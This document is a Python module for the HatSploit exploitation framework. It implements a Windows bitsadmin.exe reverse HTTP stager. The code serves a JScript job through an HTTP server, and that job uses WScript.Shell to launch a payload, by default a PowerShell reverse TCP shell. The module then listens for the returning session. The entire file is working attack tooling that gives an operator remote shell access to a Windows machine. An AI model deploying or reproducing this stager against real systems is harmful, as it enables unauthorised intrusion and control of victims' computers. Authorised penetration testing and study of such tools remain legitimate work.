#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

from hatsploit.lib.module import Module
from hatsploit.lib.server import Server
from hatsploit.utils.handler import Handler


class HatSploitModule(Module, Handler):
    server = Server()

    details = {
        'Name': "Windows bitsadmin.exe Reverse HTTP Stager",
        'Module': "exploit/windows/stager/bitsadmin_reverse_http",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer'
        ],
        'Description': "Windows bitsadmin.exe reverse HTTP stager.",
        'Comments': [
            ''
        ],
        'Platform': "windows",
        'Risk': "high"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "windows/generic/powershell_reverse_tcp",
        'Categories': None,
        'Architectures': None,
        'Platforms': [
            'windows'
        ],
        'Types': None
    }

    options = {
        'SRVHOST': {
            'Description': "Local host to start http server on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'SRVPORT': {
            'Description': "Local port to start http server on.",
            'Value': 8080,
            'Type': "port",
            'Required': True
        },
        'LHOST': {
            'Description': "Local host to listen on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        },
        'FOREVER': {
            'Description': "Start listener forever.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        },
        'URLPATH': {
            'Description': "File path on server.",
            'Value': "/",
            'Type': None,
            'Required': True
        }
    }

    def serve_bitsadmin(self, server_host, server_port, url_path, payload):
        payload = (
            "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>"
            "<job id=\"0\">"
            "    <script language=\"JScript\">"
            "        <![CDATA["
            f"            new ActiveXObject(\"WScript.Shell\").Run(\"{payload}\");\n"
            "        ]]>"
            "    </script>"
            "</job>"
        )

        self.server.start_server(
            server_host,
            server_port,
            payload,
            path=url_path
        )

    def run(self):
        server_host, server_port, local_host, local_port, forever, url_path = self.parse_options(self.options)

        if forever.lower() in ['yes', 'y']:
            while True:
                status = self.handle_session(
                    host=local_host,
                    port=local_port,
                    payload=self.payload,
                    sender=self.serve_bitsadmin,
                    args=[server_host, server_port, url_path],
                    timeout=None
                )

                if not status:
                    return
        else:
            self.handle_session(
                host=local_host,
                port=local_port,
                payload=self.payload,
                sender=self.serve_bitsadmin,
                args=[server_host, server_port, url_path],
                timeout=None
            )
